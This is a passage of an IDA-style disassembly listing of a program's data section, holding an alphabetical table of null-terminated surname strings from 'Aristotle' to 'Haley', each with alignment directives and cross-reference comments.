aAristotle	db 'Aristotle',0        ; DATA XREF: .data:0044443Co
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: .data:00444440o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .data:00444444o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: .data:00444448o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .data:0044444Co
					; .data:off_44A5C0o
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: .data:00444450o
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: .data:00444454o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .data:00444458o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .data:0044445Co
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .data:00444460o
aAyling		db 'Ayling',0           ; DATA XREF: .data:00444464o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .data:00444468o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .data:0044446Co
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: .data:00444470o
		align 4
aBady		db 'Bady',0             ; DATA XREF: .data:00444474o
		align 10h
aBaglivo	db 'Baglivo',0          ; DATA XREF: .data:00444478o
aBagnold	db 'Bagnold',0          ; DATA XREF: .data:0044447Co
aBailar		db 'Bailar',0           ; DATA XREF: .data:00444480o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .data:00444484o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .data:00444488o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .data:0044448Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .data:00444490o
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: .data:00444494o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .data:00444498o
		align 10h
aBarabesi	db 'Barabesi',0         ; DATA XREF: .data:0044449Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .data:004444A0o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .data:004444A4o
		align 10h
aBaranowska	db 'Baranowska',0       ; DATA XREF: .data:004444A8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .data:004444ACo
aBarbetti	db 'Barbetti',0         ; DATA XREF: .data:004444B0o
		align 10h
aBarneson	db 'Barneson',0         ; DATA XREF: .data:004444B4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .data:004444B8o
aBarriola	db 'Barriola',0         ; DATA XREF: .data:004444BCo
		align 10h
aBarry		db 'Barry',0            ; DATA XREF: .data:004444C0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .data:004444C4o
aBartolome	db 'Bartolome',0        ; DATA XREF: .data:004444C8o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: .data:004444CCo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .data:004444D0o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .data:004444D4o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .data:004444D8o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .data:004444DCo
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .data:004444E0o
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: .data:004444E4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .data:004444E8o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: .data:004444ECo
		align 4
aBean		db 'Bean',0             ; DATA XREF: .data:004444F0o
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: .data:004444F4o
aBeder		db 'Beder',0            ; DATA XREF: .data:004444F8o
		align 10h
aBedford	db 'Bedford',0          ; DATA XREF: .data:004444FCo
aBehenna	db 'Behenna',0          ; DATA XREF: .data:00444500o
aBelanger	db 'Belanger',0         ; DATA XREF: .data:00444504o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .data:00444508o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .data:0044450Co
		align 10h
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .data:00444510o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .data:00444514o
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .data:00444518o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .data:0044451Co
aBelloc		db 'Belloc',0           ; DATA XREF: .data:00444520o
		align 4
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .data:00444524o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .data:00444528o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .data:0044452Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .data:00444530o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .data:00444534o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .data:00444538o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .data:0044453Co
		align 4
aBetti		db 'Betti',0            ; DATA XREF: .data:00444540o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .data:00444544o
aBiagioli	db 'Biagioli',0         ; DATA XREF: .data:00444548o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: .data:0044454Co
		align 4
aBinion		db 'Binion',0           ; DATA XREF: .data:00444550o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: .data:00444554o
aBisema		db 'Bisema',0           ; DATA XREF: .data:00444558o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .data:0044455Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .data:00444560o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .data:00444564o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .data:00444568o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .data:0044456Co
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: .data:00444570o
		align 4
aBliss		db 'Bliss',0            ; DATA XREF: .data:00444574o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: .data:00444578o
aBloch		db 'Bloch',0            ; DATA XREF: .data:0044457Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .data:00444580o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .data:00444584o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .data:00444588o
aBlyth		db 'Blyth',0            ; DATA XREF: .data:0044458Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .data:00444590o
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: .data:00444594o
		align 4
aBollinger	db 'Bollinger',0        ; DATA XREF: .data:00444598o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .data:0044459Co
aBoner		db 'Boner',0            ; DATA XREF: .data:004445A0o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .data:004445A4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .data:004445A8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .data:004445ACo
		align 4
aBook		db 'Book',0             ; DATA XREF: .data:004445B0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .data:004445B4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .data:004445B8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .data:004445BCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .data:004445C0o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .data:004445C4o
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: .data:004445C8o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .data:004445CCo
aBotosh		db 'Botosh',0           ; DATA XREF: .data:004445D0o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: .data:004445D4o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .data:004445D8o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .data:004445DCo
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: .data:004445E0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .data:004445E4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .data:004445E8o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: .data:004445ECo
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .data:004445F0o
aBoym		db 'Boym',0             ; DATA XREF: .data:004445F4o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .data:004445F8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .data:004445FCo
		align 4
aBradac		db 'Bradac',0           ; DATA XREF: .data:00444600o
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: .data:00444604o
aBrecht		db 'Brecht',0           ; DATA XREF: .data:00444608o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: .data:0044460Co
		align 4
aBrenan		db 'Brenan',0           ; DATA XREF: .data:00444610o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: .data:00444614o
aBrewer		db 'Brewer',0           ; DATA XREF: .data:00444618o
		align 10h
aBrewer_0	db 'Brewer',0           ; DATA XREF: .data:0044461Co
		align 4
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .data:00444620o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: .data:00444624o
aBrinton	db 'Brinton',0          ; DATA XREF: .data:00444628o
aBritz		db 'Britz',0            ; DATA XREF: .data:0044462Co
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .data:00444630o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: .data:00444634o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .data:00444638o
aBuchan		db 'Buchan',0           ; DATA XREF: .data:0044463Co
		align 4
aBudding	db 'Budding',0          ; DATA XREF: .data:00444640o
aBullard	db 'Bullard',0          ; DATA XREF: .data:00444644o
aBunton		db 'Bunton',0           ; DATA XREF: .data:00444648o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .data:0044464Co
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .data:00444650o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .data:00444654o
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: .data:00444658o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .data:0044465Co
aByatt		db 'Byatt',0            ; DATA XREF: .data:00444660o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .data:00444664o
		align 10h
aByrd		db 'Byrd',0             ; DATA XREF: .data:00444668o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .data:0044466Co
		align 10h
aCalnan		db 'Calnan',0           ; DATA XREF: .data:00444670o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .data:00444674o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .data:00444678o
		align 10h
aCanley		db 'Canley',0           ; DATA XREF: .data:0044467Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .data:00444680o
aCaperton	db 'Caperton',0         ; DATA XREF: .data:00444684o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .data:00444688o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .data:0044468Co
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .data:00444690o
		align 10h
aCapursi	db 'Capursi',0          ; DATA XREF: .data:00444694o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .data:00444698o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .data:0044469Co
aCarlin		db 'Carlin',0           ; DATA XREF: .data:004446A0o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: .data:004446A4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .data:004446A8o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .data:004446ACo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .data:004446B0o
		align 10h
aCarper		db 'Carper',0           ; DATA XREF: .data:004446B4o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .data:004446B8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .data:004446BCo
		align 4
aCase		db 'Case',0             ; DATA XREF: .data:004446C0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .data:004446C4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .data:004446C8o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .data:004446CCo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .data:004446D0o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .data:004446D4o
		align 4
aCerioli	db 'Cerioli',0          ; DATA XREF: .data:004446D8o
aChapman	db 'Chapman',0          ; DATA XREF: .data:004446DCo
aCharles	db 'Charles',0          ; DATA XREF: .data:004446E0o
aCheang		db 'Cheang',0           ; DATA XREF: .data:004446E4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .data:004446E8o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .data:004446ECo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .data:004446F0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .data:004446F4o
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: .data:004446F8o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: .data:004446FCo
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .data:00444700o
aChinman	db 'Chinman',0          ; DATA XREF: .data:00444704o
aChristenson	db 'Christenson',0      ; DATA XREF: .data:00444708o
aChristian	db 'Christian',0        ; DATA XREF: .data:0044470Co
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: .data:00444710o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: .data:00444714o
		align 4
aChristopher	db 'Christopher',0      ; DATA XREF: .data:00444718o
aChu		db 'Chu',0              ; DATA XREF: .data:0044471Co
aChupasko	db 'Chupasko',0         ; DATA XREF: .data:00444720o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .data:00444724o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .data:00444728o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .data:0044472Co
		align 10h
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .data:00444730o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .data:00444734o
aClancy		db 'Clancy',0           ; DATA XREF: .data:00444738o
		align 4
aClark		db 'Clark',0            ; DATA XREF: .data:0044473Co
		align 4
aClement	db 'Clement',0          ; DATA XREF: .data:00444740o
aClifton	db 'Clifton',0          ; DATA XREF: .data:00444744o
aClow		db 'Clow',0             ; DATA XREF: .data:00444748o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .data:0044474Co
aCoito		db 'Coito',0            ; DATA XREF: .data:00444750o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: .data:00444754o
aColella	db 'Colella',0          ; DATA XREF: .data:00444758o
aCollard	db 'Collard',0          ; DATA XREF: .data:0044475Co
aCollis		db 'Collis',0           ; DATA XREF: .data:00444760o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .data:00444764o
aCompton_0	db 'Compton',0          ; DATA XREF: .data:00444768o
aComstock	db 'Comstock',0         ; DATA XREF: .data:0044476Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .data:00444770o
aCondodina	db 'Condodina',0        ; DATA XREF: .data:00444774o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .data:00444778o
aCorey		db 'Corey',0            ; DATA XREF: .data:0044477Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .data:00444780o
aCosmides	db 'Cosmides',0         ; DATA XREF: .data:00444784o
		align 10h
aCounter	db 'Counter',0          ; DATA XREF: .data:00444788o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .data:0044478Co
aCrawford	db 'Crawford',0         ; DATA XREF: .data:00444790o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: .data:00444794o
aCroshaw	db 'Croshaw',0          ; DATA XREF: .data:00444798o
aCroxen		db 'Croxen',0           ; DATA XREF: .data:0044479Co
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: .data:004447A0o
aCui		db 'Cui',0              ; DATA XREF: .data:004447A4o
aCurrier	db 'Currier',0          ; DATA XREF: .data:004447A8o
aCutler		db 'Cutler',0           ; DATA XREF: .data:004447ACo
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: .data:004447B0o
		align 4
aCyders		db 'Cyders',0           ; DATA XREF: .data:004447B4o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: .data:004447B8o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .data:004447BCo
		align 4
aDaly		db 'Daly',0             ; DATA XREF: .data:004447C0o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .data:004447C4o
aDanieli	db 'Danieli',0          ; DATA XREF: .data:004447C8o
aDante		db 'Dante',0            ; DATA XREF: .data:004447CCo
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: .data:004447D0o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .data:004447D4o
aDas		db 'Das',0              ; DATA XREF: .data:004447D8o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .data:004447DCo
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .data:004447E0o
aDavid		db 'David',0            ; DATA XREF: .data:004447E4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .data:004447E8o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .data:004447ECo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .data:004447F0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .data:004447F4o
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: .data:004447F8o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: .data:004447FCo
aDees		db 'Dees',0             ; DATA XREF: .data:00444800o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .data:00444804o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .data:00444808o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .data:0044480Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .data:00444810o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .data:00444814o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .data:00444818o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .data:0044481Co
		align 10h
aDemusz		db 'Demusz',0           ; DATA XREF: .data:00444820o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .data:00444824o
aDenham		db 'Denham',0           ; DATA XREF: .data:00444828o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .data:0044482Co
aDesombre	db 'Desombre',0         ; DATA XREF: .data:00444830o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .data:00444834o
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .data:00444838o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .data:0044483Co
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .data:00444840o
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: .data:00444844o
aDifronzo	db 'Difronzo',0         ; DATA XREF: .data:00444848o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .data:0044484Co
		align 10h
aDionysius	db 'Dionysius',0        ; DATA XREF: .data:00444850o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: .data:00444854o
aDockery	db 'Dockery',0          ; DATA XREF: .data:00444858o
aDoherty	db 'Doherty',0          ; DATA XREF: .data:0044485Co
aDonahue	db 'Donahue',0          ; DATA XREF: .data:00444860o
aDonner		db 'Donner',0           ; DATA XREF: .data:00444864o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .data:00444868o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .data:0044486Co
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .data:00444870o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .data:00444874o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .data:00444878o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .data:0044487Co
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: .data:00444880o
		align 10h
aDrinker	db 'Drinker',0          ; DATA XREF: .data:00444884o
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .data:00444888o
aDuffin		db 'Duffin',0           ; DATA XREF: .data:0044488Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .data:00444890o
aDussault	db 'Dussault',0         ; DATA XREF: .data:00444894o
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: .data:00444898o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: .data:0044489Co
aEbeling	db 'Ebeling',0          ; DATA XREF: .data:004448A0o
aEckel		db 'Eckel',0            ; DATA XREF: .data:004448A4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .data:004448A8o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .data:004448ACo
		align 4
aEdward		db 'Edward',0           ; DATA XREF: .data:004448B0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .data:004448B4o
aEliasson	db 'Eliasson',0         ; DATA XREF: .data:004448B8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .data:004448BCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .data:004448C0o
		align 4
aElvis		db 'Elvis',0            ; DATA XREF: .data:004448C4o
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: .data:004448C8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .data:004448CCo
aEppling	db 'Eppling',0          ; DATA XREF: .data:004448D0o
aErbach		db 'Erbach',0           ; DATA XREF: .data:004448D4o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .data:004448D8o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .data:004448DCo
		align 4
aErez		db 'Erez',0             ; DATA XREF: .data:004448E0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .data:004448E4o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: .data:004448E8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .data:004448ECo
		align 10h
aEuripides	db 'Euripides',0        ; DATA XREF: .data:004448F0o
		align 4
aEverett	db 'Everett',0          ; DATA XREF: .data:004448F4o
aFabbris	db 'Fabbris',0          ; DATA XREF: .data:004448F8o
aFagan		db 'Fagan',0            ; DATA XREF: .data:004448FCo
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .data:00444900o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .data:00444904o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .data:00444908o
aFaris		db 'Faris',0            ; DATA XREF: .data:0044490Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .data:00444910o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .data:00444914o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .data:00444918o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .data:0044491Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .data:00444920o
		align 4
aFejzo		db 'Fejzo',0            ; DATA XREF: .data:00444924o
		align 10h
aFeldman	db 'Feldman',0          ; DATA XREF: .data:00444928o
aFernald	db 'Fernald',0          ; DATA XREF: .data:0044492Co
aFernandes	db 'Fernandes',0        ; DATA XREF: .data:00444930o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .data:00444934o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .data:00444938o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .data:0044493Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: .data:00444940o
		align 4
aField		db 'Field',0            ; DATA XREF: .data:00444944o
		align 4
aFink		db 'Fink',0             ; DATA XREF: .data:00444948o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .data:0044494Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: .data:00444950o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .data:00444954o
aFisk		db 'Fisk',0             ; DATA XREF: .data:00444958o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .data:0044495Co
aFlier		db 'Flier',0            ; DATA XREF: .data:00444960o
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: .data:00444964o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .data:00444968o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .data:0044496Co
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: .data:00444970o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .data:00444974o
aFossey		db 'Fossey',0           ; DATA XREF: .data:00444978o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .data:0044497Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .data:00444980o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .data:00444984o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .data:00444988o
		align 10h
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .data:0044498Co
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: .data:00444990o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .data:00444994o
		align 4
aFried		db 'Fried',0            ; DATA XREF: .data:00444998o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: .data:0044499Co
		align 4
aFrisken	db 'Frisken',0          ; DATA XREF: .data:004449A0o
aFrowiss	db 'Frowiss',0          ; DATA XREF: .data:004449A4o
aFryberger	db 'Fryberger',0        ; DATA XREF: .data:004449A8o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .data:004449ACo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .data:004449B0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .data:004449B4o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: .data:004449B8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .data:004449BCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .data:004449C0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .data:004449C4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .data:004449C8o
		align 4
aGalwey		db 'Galwey',0           ; DATA XREF: .data:004449CCo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .data:004449D0o
aGarfield	db 'Garfield',0         ; DATA XREF: .data:004449D4o
		align 10h
aGarman		db 'Garman',0           ; DATA XREF: .data:004449D8o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .data:004449DCo
aGeller		db 'Geller',0           ; DATA XREF: .data:004449E0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .data:004449E4o
		align 4
aGeorgi		db 'Georgi',0           ; DATA XREF: .data:004449E8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .data:004449ECo
aGhorai		db 'Ghorai',0           ; DATA XREF: .data:004449F0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .data:004449F4o
aGibson		db 'Gibson',0           ; DATA XREF: .data:004449F8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .data:004449FCo
aGili		db 'Gili',0             ; DATA XREF: .data:00444A00o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .data:00444A04o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .data:00444A08o
		align 10h
aGist		db 'Gist',0             ; DATA XREF: .data:00444A0Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .data:00444A10o
aGlegg		db 'Glegg',0            ; DATA XREF: .data:00444A14o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .data:00444A18o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .data:00444A1Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .data:00444A20o
		align 4
aGood		db 'Good',0             ; DATA XREF: .data:00444A24o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .data:00444A28o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .data:00444A2Co
		align 4
aGozzi		db 'Gozzi',0            ; DATA XREF: .data:00444A30o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .data:00444A34o
aGreenberg	db 'Greenberg',0        ; DATA XREF: .data:00444A38o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .data:00444A3Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .data:00444A40o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .data:00444A44o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .data:00444A48o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: .data:00444A4Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .data:00444A50o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .data:00444A54o
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: .data:00444A58o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .data:00444A5Co
aHa		db 'Ha',0               ; DATA XREF: .data:00444A60o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: .data:00444A64o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .data:00444A68o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .data:00444A6Co
		align 4
aHaley		db 'Haley',0            ; DATA XREF: .data:00444A70o
		align 10h
